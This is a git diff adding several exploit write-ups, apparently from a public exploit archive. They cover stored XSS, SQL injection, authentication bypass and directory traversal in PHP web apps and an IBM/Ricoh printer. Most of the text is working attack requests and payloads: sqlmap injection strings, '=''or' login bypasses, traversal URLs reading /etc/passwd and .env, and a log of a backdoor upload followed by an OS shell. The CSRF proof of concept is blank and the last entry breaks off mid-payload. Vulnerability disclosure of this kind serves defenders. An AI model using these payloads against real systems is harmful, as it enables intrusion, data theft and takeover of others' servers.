diff --git a/exploits/hardware/webapps/47850.txt b/exploits/hardware/webapps/47850.txt
new file mode 100644
index 000000000..66d635d1b
--- /dev/null
+++ b/exploits/hardware/webapps/47850.txt
@@ -0,0 +1,35 @@
+# Exploit Title: IBM RICOH Infoprint 1532 Printer - Persistent Cross-Site Scripting
+# Date: 2020-01-02
+# Exploit Author: Ismail Tasdelen
+# Vendor Homepage: https://www.ibm.com/il-en
+# Hardware Link: https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?infotype=AN&subtype=CA&htmlfid=897/ENUS105-476&appname=USN
+# Vulernability Type: Cross-site Scripting
+# Vulenrability: Stored XSS
+# CVE: N/A
+
+# Description :
+# Ricoh (IBM) InfoPrint 1532 devices allow Stored XSS via the 1.network.6.10 parameter to the
+# cgi-bin/posttest/cgi-bin/dynamic/config/gen/general.html URI. (HTML Injection can also occur.)
+
+HTTP Request :
+
+POST /cgi-bin/posttest/cgi-bin/dynamic/config/gen/general.html HTTP/1.1
+Host: 134.84.35.70
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 281
+Origin: https://134.84.35.70
+Connection: close
+Referer: https://134.84.35.70/cgi-bin/dynamic/config/gen/general.html
+Upgrade-Insecure-Requests: 1
+
+0.printer.1.14=0&0.mfp.1.2=0&0.mfp.1.3=0&0.mfp.1.1=30&0.mfp.100.11=30&0.printer.4.258=1&1.network.6.10=%22%3E%3Cscript%3Ealert%28%22ismailtasdelen%22%29%3C%2Fscript%3E&1.network.6.11=&0.network.6.4=90&1.network.6.69=000000000000&2.network.6.63=0&0.network.10.73=120&1.printer.1.40=
+
+HTTP Response :
+
+HTTP/1.0 200 OK
+Content-Type: text/html
+Content-Length: 269
\ No newline at end of file
diff --git a/exploits/php/webapps/47846.txt b/exploits/php/webapps/47846.txt
new file mode 100644
index 000000000..42c8beaed
--- /dev/null
+++ b/exploits/php/webapps/47846.txt
@@ -0,0 +1,164 @@
+# Exploit Title: Dairy Farm Shop Management System 1.0 - 'username' SQL Injection
+# Google Dork: N/A
+# Date: 2020-01-03
+# Exploit Author: Chris Inzinga
+# Vendor Homepage: https://phpgurukul.com/
+# Software Link: https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
+# Version: v1.0
+# Tested on: Windows
+# CVE: N/A
+
+# The Dairy Farm Shop Management System 1.0 web application is vulnerable to
+# SQL injection in multiple areas. The most severe of these is the username
+# parameter on the login page as this injection can be done unauthenticated.
+
+
+================================ 'username' - SQLi ================================
+
+POST /dfsms/index.php HTTP/1.1
+Host: 192.168.0.33
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://192.168.0.33/dfsms/index.php
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 34
+Connection: close
+Cookie: PHPSESSID=ogvk4oricas9oudnb7hb88kgjg
+Upgrade-Insecure-Requests: 1
+
+username=test&password=test&login=
+
+---
+Parameter: username (POST)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: username=test' AND (SELECT 5667 FROM (SELECT(SLEEP(5)))mKGL) AND 'UlkV'='UlkV&password=test&login=
+---
+[INFO] the back-end DBMS is MySQL
+back-end DBMS: MySQL >= 5.0.12
+
+
+
+================================ 'category' & 'categorycode' - SQLi ================================
+
+POST /dfsms/add-category.php HTTP/1.1
+Host: 192.168.0.33
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://192.168.0.33/dfsms/add-category.php
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 39
+Connection: close
+Cookie: PHPSESSID=ogvk4oricas9oudnb7hb88kgjg
+Upgrade-Insecure-Requests: 1
+
+category=test&categorycode=test&submit=
+
+---
+Parameter: category (POST)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: category=test' AND (SELECT 8892 FROM (SELECT(SLEEP(5)))WzFH) AND 'NELe'='NELe&categorycode=test&submit=
+---
+[INFO] the back-end DBMS is MySQL
+back-end DBMS: MySQL >= 5.0.12
+
+---
+Parameter: categorycode (POST)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: category=test&categorycode=test' AND (SELECT 9140 FROM (SELECT(SLEEP(5)))bzQA) AND 'izaK'='izaK&submit=
+---
+[INFO] the back-end DBMS is MySQL
+back-end DBMS: MySQL >= 5.0.12
+
+
+
+================================ 'companyname' - SQLi ================================
+
+---
+Parameter: companyname (POST)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: companyname=test' AND (SELECT 7565 FROM (SELECT(SLEEP(5)))znna) AND 'bEUm'='bEUm&submit=
+---
+[INFO] the back-end DBMS is MySQL
+back-end DBMS: MySQL >= 5.0.12
+
+
+
+================================ 'productname' & 'productprice' - SQLi ================================
+
+---
+Parameter: productname (POST)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: category=Milk&company=Amul&productname=test' AND (SELECT 1171 FROM (SELECT(SLEEP(5)))rlQI) AND 'RgaN'='RgaN&productprice=test&submit=
+---
+---
+Parameter: productprice (POST)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: category=Milk&company=Amul&productname=test&productprice=test' AND (SELECT 8940 FROM (SELECT(SLEEP(5)))BRuk) AND 'Imqh'='Imqh&submit=
+---
+[INFO] the back-end DBMS is MySQL
+back-end DBMS: MySQL >= 5.0.12
+
+
+
+================================ 'fromdate' & 'todate' - SQLi ================================
+
+---
+Parameter: todate (POST)
+ Type: boolean-based blind
+ Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
+ Payload: fromdate=2020-01-05&todate=-6737' OR 3099=3099#&submit=
+
+ Type: error-based
+ Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
+ Payload: fromdate=2020-01-05&todate=2020-01-31' OR (SELECT 3665 FROM(SELECT COUNT(*),CONCAT(0x7162766271,(SELECT (ELT(3665=3665,1))),0x716a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- mqby&submit=
+
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: fromdate=2020-01-05&todate=2020-01-31' AND (SELECT 5717 FROM (SELECT(SLEEP(5)))adaE)-- cLAK&submit=
+
+ Type: UNION query
+ Title: MySQL UNION query (NULL) - 5 columns
+ Payload: fromdate=2020-01-05&todate=2020-01-31' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162766271,0x666369456150614b454a4f51454e6e687449724a786445585455515a67614162754545716d476f6f,0x716a7a7171),NULL#&submit=
+
+Parameter: fromdate (POST)
+ Type: error-based
+ Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
+ Payload: fromdate=2020-01-05' AND (SELECT 7128 FROM(SELECT COUNT(*),CONCAT(0x7162766271,(SELECT (ELT(7128=7128,1))),0x716a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Tzxh&todate=2020-01-31&submit=
+
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: fromdate=2020-01-05' AND (SELECT 7446 FROM (SELECT(SLEEP(5)))Aklw)-- uzkF&todate=2020-01-31&submit=
+---
+
+
+
+================================ 'mobilenumber' & 'emailid' & 'adminname' - SQLi ================================
+
+---
+Parameter: emailid (POST)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: adminname=Admin&username=admin&emailid=admin@test.com' AND (SELECT 5884 FROM (SELECT(SLEEP(5)))EgFJ) AND 'kFGt'='kFGt&mobilenumber=1234567899&update=
+---
+---
+Parameter: adminname (POST)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: adminname=Admin' AND (SELECT 5969 FROM (SELECT(SLEEP(5)))vpfG) AND 'kOJS'='kOJS&username=admin&emailid=admin@test.com&mobilenumber=1234567899&update=
+---
+---
+Parameter: mobilenumber (POST)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ Payload: adminname=Admin&username=admin&emailid=admin@test.com&mobilenumber=1234567899' AND (SELECT 1163 FROM (SELECT(SLEEP(5)))rdwj) AND 'mnwu'='mnwu&update=
+---
\ No newline at end of file
diff --git a/exploits/php/webapps/47847.txt b/exploits/php/webapps/47847.txt
new file mode 100644
index 000000000..23ba25eb4
--- /dev/null
+++ b/exploits/php/webapps/47847.txt
@@ -0,0 +1,45 @@
+# Exploit Title: Complaint Management System 4.0 - 'cid' SQL injection
+# Google Dork: N/A
+# Date: 2020-01-03
+# Exploit Author: FULLSHADE
+# Vendor Homepage: https://phpgurukul.com
+# Software Link: https://phpgurukul.com/complaint-management-sytem/
+# Version: v4.0
+# Tested on: Windows 7
+# CVE : N/A
+
+Description:
+
+The Complaint Management System v4.0 application from PHPgurukul is vulnerable to
+blind SQL injection via the 'cid' parameter which is found on the complaint-details.php
+page.
+
+========== 1. SQLi ==========
+
+SQLMAP POC:
+
+GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
+sqlmap identified the following injection point(s) with a total of 1748 HTTP(s) requests:
+---
+Parameter: cid (GET)
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 AND time-based blind
+ Payload: cid=2'+(SELECT 0x7648556f WHERE 4476=4476 AND SLEEP(5))+'
+---
+
+The ?cid parameter is vulnerable to sql injection within the
+
+the vulnerable URL = https://10.0.0.214/complaint%20management%20system/cms/admin/complaint-details.php?cid=2
+
+request:
+
+GET /complaint%20management%20system/cms/admin/complaint-details.php?cid=2 HTTP/1.1
+Host: 10.0.0.214
+User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+DNT: 1
+Connection: close
+Cookie: PHPSESSID=5bmri9rlp1jvrjkhgumn7v9fot
+Upgrade-Insecure-Requests: 1
\ No newline at end of file
diff --git a/exploits/php/webapps/47851.txt b/exploits/php/webapps/47851.txt
new file mode 100644
index 000000000..f92a9321b
--- /dev/null
+++ b/exploits/php/webapps/47851.txt
@@ -0,0 +1,138 @@
+# Exploit Title: Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin)
+# Date: 2020-01-05
+# Exploit Author: Ismail Tasdelen
+# Vendor Homepage: https://intelliants.com/
+# Software Link : https://github.com/intelliants/subrion/releases/tag/v4.0.5
+# Software : Subrion CMS
+# Product Version: v 4.0.5.10
+# Vulernability Type : Cross-Site Request Forgery (Add Admin)
+# Vulenrability : Cross-Site Request Forgery
+# CVE : N/A
+
+# Description :
+# CSRF vulnerability was discovered in v4.0.5 version of Subrion CMS.
+# With this vulnerability, authorized users can be added to the system.
+
+HTML CSRF PoC :
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/exploits/php/webapps/47854.txt b/exploits/php/webapps/47854.txt
new file mode 100644
index 000000000..9e0da880b
--- /dev/null
+++ b/exploits/php/webapps/47854.txt
@@ -0,0 +1,49 @@
+# Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection
+# Google Dork: intitle: "Hostel management system"
+# Date: 2020-01-03
+# Exploit Author: FULLSHADE
+# Vendor Homepage: https://phpgurukul.com
+# Software Link: https://phpgurukul.com/hostel-management-system/
+# Version: v2.0
+# Tested on: Windows
+# CVE : N/A
+
+Description:
+
+The Hostel Management System v2.0 application from PHPgurukul is vulnerable to
+SQL injection via the 'id' parameter on the full-profile.php page.
+
+==================== 1. SQLi ====================
+
+http://10.0.0.214/Hostel%20management%20System%20Project/hostel/full-profile.php?id=1
+
+THe ?id parameter is vulnerable to SQL injection, it was also tested, and a un-authenticated
+user has the full ability to run system commands via --os-shell and fully compromise the system
+
+GET parameter 'id' is vulnerable.
+
+---
+Parameter: id (GET)
+ Type: boolean-based blind
+ Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
+ Payload: id=-3444' OR 1650=1650#
+
+ Type: error-based
+ Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
+ Payload: id=1' OR (SELECT 3801 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(3801=3801,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- klCZ
+
+ Type: time-based blind
+ Title: MySQL >= 5.0.12 OR time-based blind
+ Payload: id=1' OR SLEEP(5)-- slKU
+
+ Type: UNION query
+ Title: MySQL UNION query (NULL) - 29 columns
+ Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627a71,0x63786c795a416371494752765744487a4e6443636e705076586e714d735a7053595a4b676b526157,0x71707a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
+
+[14:20:08] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpulczr.php
+[14:20:08] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpbjdvm.php
+[14:20:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
+os-shell> whoami
+do you want to retrieve the command standard output? [Y/n/a] y
+command standard output: 'john-pc\john'
+os-shell>
\ No newline at end of file
diff --git a/exploits/php/webapps/47858.txt b/exploits/php/webapps/47858.txt
new file mode 100644
index 000000000..d77166077
--- /dev/null
+++ b/exploits/php/webapps/47858.txt
@@ -0,0 +1,30 @@
+# Exploit Title: elaniin CMS 1.0 - Authentication Bypass
+# Author: riamloo
+# Date: 2020-01-02
+# Vendor Homepage: https://elaniin.com/ ( github ==> https://github.com/elaniin/ )
+# Software Link: https://github.com/elaniin/CMS/archive/master.zip
+# Version: 1
+# CVE: N/A
+# Tested on: Win 10
+
+# Discription:
+# Open-source Content Management System created with PHP + MySQL https://elaniin.com/
+# Vulnerability: Attacker can bypass login page and access to dashboard page
+# vulnerable file : login.php
+# Parameter & Payload: '=''or'
+# Proof of Concept:
+http://localhost/elaniin/login.php
+
+POST /elaniin/login.php HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: multipart/form-data;
+Content-Length: 334
+Referer: http://localhost/elaniin/login.php
+Cookie: PHPSESSID=81spdqht0gvh0f97vg62nzxs8
+Connection: close
+Upgrade-Insecure-Requests: 1
+email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=LOGIN
\ No newline at end of file
diff --git a/exploits/php/webapps/47874.txt b/exploits/php/webapps/47874.txt
new file mode 100644
index 000000000..ddebaebfd
--- /dev/null
+++ b/exploits/php/webapps/47874.txt
@@ -0,0 +1,35 @@
+# Exploit Title: Small CRM 2.0 - Authentication Bypass
+# Google Dork: N/A
+# Date: 2020-01-02
+# Exploit Author: FULLSHADE
+# Vendor Homepage: https://phpgurukul.com/
+# Software Link: https://phpgurukul.com/small-crm-php/
+# Version: V2.0
+# Tested on: Windows
+# CVE : N/A
+
+# Description:
+#
+# There is a SQL injection vulnerability in the /index.php page
+# which allows for an attacker to use the SQLi login bypass payload
+# '=''or' for both the username and password parameters, this allows
+# for any authenticated or low level user to login to the admin account.
+
+========== 1. Authentication bypass ==========
+
+POST /Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php HTTP/1.1
+Host: 10.0.0.214
+User-Agent: Mozilla/5.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 57
+Origin: http://10.0.0.214
+DNT: 1
+Connection: close
+Referer: http://10.0.0.214/Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php
+Cookie: PHPSESSID=k5845lo7s90it5p33js75665jq
+Upgrade-Insecure-Requests: 1
+
+email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&login=
\ No newline at end of file
diff --git a/exploits/php/webapps/47875.txt b/exploits/php/webapps/47875.txt
new file mode 100644
index 000000000..083fa87e9
--- /dev/null
+++ b/exploits/php/webapps/47875.txt
@@ -0,0 +1,50 @@
+# Exploit Title: Voyager 1.3.0 - Directory Traversal
+# Google Dork: N/A
+# Date: January 2020-01-06
+# Exploit Author: NgoAnhDuc
+# Vendor Homepage: https://voyager.devdojo.com/
+# Software Link:https://github.com/the-control-group/voyager/releases/tag/v1.3.0https://github.com/the-control-group/voyager/releases/tag/v1.2.7
+# Version: 1.3.0 and bellow
+# Tested on: Ubuntu 18.04
+# CVE : N/A
+
+
+Vulnerable code is in voyager/src/Http/Controllers/VoyagerController.php
+
+========================================
+
+public function assets(Request $request)
+ {
+ *$path = str_start(str_replace(['../', './'], '',
+urldecode($request->path)), '/');*
+* $path = base_path('vendor/tcg/voyager/publishable/assets'.$path);*
+ if (File::exists($path)) {
+ $mime = '';
+ if (ends_with($path, '.js')) {
+ $mime = 'text/javascript';
+ } elseif (ends_with($path, '.css')) {
+ $mime = 'text/css';
+ } else {
+ $mime = File::mimeType($path);
+ }
+ $response = response(File::get($path), 200,
+['Content-Type' => $mime]);
+ $response->setSharedMaxAge(31536000);
+ $response->setMaxAge(31536000);
+ $response->setExpires(new \DateTime('+1 year'));
+ return $response;
+ }
+ return response('', 404);
+ }
+========================================
+
+PoC:
+
+passwd:
+
+http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd
+
+
+Laravel environment
+file:http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F/.env
\ No newline at end of file
diff --git a/exploits/php/webapps/47876.txt b/exploits/php/webapps/47876.txt
new file mode 100644
index 000000000..c01fc4375
--- /dev/null
+++ b/exploits/php/webapps/47876.txt
@@ -0,0 +1,22 @@
+# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting
+# Google Dork: intext:"Powered by Codoforum"
+# Date: 2020-01-03
+# Exploit Author: Prasanth c41m, Vyshnav Vizz
+# Vendor Homepage: https://codoforum.com/index.php
+# Software Link: https://codoforum.com/buy
+# Version: Codoforum 4.8.3
+# Tested on: [relevant os]
+# CVE : [if applicable]
+# source: https://medium.com/@c41m/b2e1133c6a91?
+
+Codoforum is prone to a stored xss vulnerability.
+An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks.
+Codoforum version 4.8.3 is vulnerable.
+
+1. Install Codoforum 4.8.3 in a local server.
+2. Goto http://localhost/index.php?u=/user/register
+3. Create a user using :-
+ username : ">